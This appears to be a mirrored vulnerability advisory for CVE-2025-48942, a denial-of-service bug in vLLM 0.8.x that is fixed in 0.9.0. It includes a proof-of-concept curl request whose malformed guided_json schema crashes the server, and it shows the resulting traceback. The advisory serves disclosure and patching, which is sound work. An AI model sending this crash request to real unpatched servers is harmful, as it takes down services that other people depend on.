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AI agent vulnerability · vLLM

CVE-2025-48942: vLLM DOS: Remotely kill vllm over http with invalid JSON schema

mediumCVSS 3.1 6.5GHSA-6qc9-v4r8-22xg

Summary Hitting the /v1/completions API with a invalid jsonschema as a Guided Param will kill the vllm server Details The following API call (venv) [derekh@ip-172-31-15-108 ]$ curl -s http://localhost:8000/v1/completions -H "Content-Type: application/json" -d '{"model": "meta-llama/Llama-3.2-3B-Instruct","prompt": "Name two great reasons to visit Sligo ", "maxtokens": 10, "temperature": 0.5,…

Published May 28, 2025 · Updated Jun 27, 2025

Affected packages

vllm

Ecosystem
PyPI
Affected
>= 0.8.0, < 0.9.0
Fixed in
0.9.0
Check
pip show vllm

Advisory details

From the GitHub Advisory Database (CC BY 4.0).

Summary

Hitting the /v1/completions API with a invalid json_schema as a Guided Param will kill the vllm server

Details

The following API call (venv) [derekh@ip-172-31-15-108 ]$ curl -s http://localhost:8000/v1/completions -H "Content-Type: application/json" -d '{"model": "meta-llama/Llama-3.2-3B-Instruct","prompt": "Name two great reasons to visit Sligo ", "max_tokens": 10, "temperature": 0.5, "guided_json":"{\"properties\":{\"reason\":{\"type\": \"stsring\"}}}"}' will provoke a Uncaught exceptions from xgrammer in ./lib64/python3.11/site-packages/xgrammar/compiler.py

Issue with more information: https://github.com/vllm-project/vllm/issues/17248

PoC

Make a call to vllm with invalid json_scema e.g. {\"properties\":{\"reason\":{\"type\": \"stsring\"}}}

curl -s http://localhost:8000/v1/completions -H "Content-Type: application/json" -d '{"model": "meta-llama/Llama-3.2-3B-Instruct","prompt": "Name two great reasons to visit Sligo ", "max_tokens": 10, "temperature": 0.5, "guided_json":"{\"properties\":{\"reason\":{\"type\": \"stsring\"}}}"}'

Impact

vllm crashes

example traceback

ERROR 03-26 17:25:01 [core.py:340] EngineCore hit an exception: Traceback (most recent call last):
ERROR 03-26 17:25:01 [core.py:340]   File "/home/derekh/workarea/vllm/vllm/v1/engine/core.py", line 333, in run_engine_core
ERROR 03-26 17:25:01 [core.py:340]     engine_core.run_busy_loop()
ERROR 03-26 17:25:01 [core.py:340]   File "/home/derekh/workarea/vllm/vllm/v1/engine/core.py", line 367, in run_busy_loop
ERROR 03-26 17:25:01 [core.py:340]     outputs = step_fn()
ERROR 03-26 17:25:01 [core.py:340]               ^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340]   File "/home/derekh/workarea/vllm/vllm/v1/engine/core.py", line 181, in step
ERROR 03-26 17:25:01 [core.py:340]     scheduler_output = self.scheduler.schedule()
ERROR 03-26 17:25:01 [core.py:340]                        ^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340]   File "/home/derekh/workarea/vllm/vllm/v1/core/scheduler.py", line 257, in schedule
ERROR 03-26 17:25:01 [core.py:340]     if structured_output_req and structured_output_req.grammar:
ERROR 03-26 17:25:01 [core.py:340]                                  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340]   File "/home/derekh/workarea/vllm/vllm/v1/structured_output/request.py", line 41, in grammar
ERROR 03-26 17:25:01 [core.py:340]     completed = self._check_grammar_completion()
ERROR 03-26 17:25:01 [core.py:340]                 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340]   File "/home/derekh/workarea/vllm/vllm/v1/structured_output/request.py", line 29, in _check_grammar_completion
ERROR 03-26 17:25:01 [core.py:340]     self._grammar = self._grammar.result(timeout=0.0001)
ERROR 03-26 17:25:01 [core.py:340]                     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340]   File "/usr/lib64/python3.11/concurrent/futures/_base.py", line 456, in result
ERROR 03-26 17:25:01 [core.py:340]     return self.__get_result()
ERROR 03-26 17:25:01 [core.py:340]            ^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340]   File "/usr/lib64/python3.11/concurrent/futures/_base.py", line 401, in __get_result
ERROR 03-26 17:25:01 [core.py:340]     raise self._exception
ERROR 03-26 17:25:01 [core.py:340]   File "/usr/lib64/python3.11/concurrent/futures/thread.py", line 58, in run
ERROR 03-26 17:25:01 [core.py:340]     result = self.fn(*self.args, **self.kwargs)
ERROR 03-26 17:25:01 [core.py:340]              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340]   File "/home/derekh/workarea/vllm/vllm/v1/structured_output/__init__.py", line 120, in _async_create_grammar
ERROR 03-26 17:25:01 [core.py:340]     ctx = self.compiler.compile_json_schema(grammar_spec,
ERROR 03-26 17:25:01 [core.py:340]           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340]   File "/home/derekh/workarea/vllm/venv/lib64/python3.11/site-packages/xgrammar/compiler.py", line 101, in compile_json_schema
ERROR 03-26 17:25:01 [core.py:340]     self._handle.compile_json_schema(
ERROR 03-26 17:25:01 [core.py:340] RuntimeError: [17:25:01] /project/cpp/json_schema_converter.cc:795: Check failed: (schema.is<picojson::object>()) is false: Schema should be an object or bool
ERROR 03-26 17:25:01 [core.py:340] 
ERROR 03-26 17:25:01 [core.py:340] 
CRITICAL 03-26 17:25:01 [core_client.py:269] Got fatal signal from worker processes, shutting down. See stack trace above for root cause issue.

Fix

  • https://github.com/vllm-project/vllm/pull/17623

Credited to derekhiggins, Jason-CKY, russellb.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology

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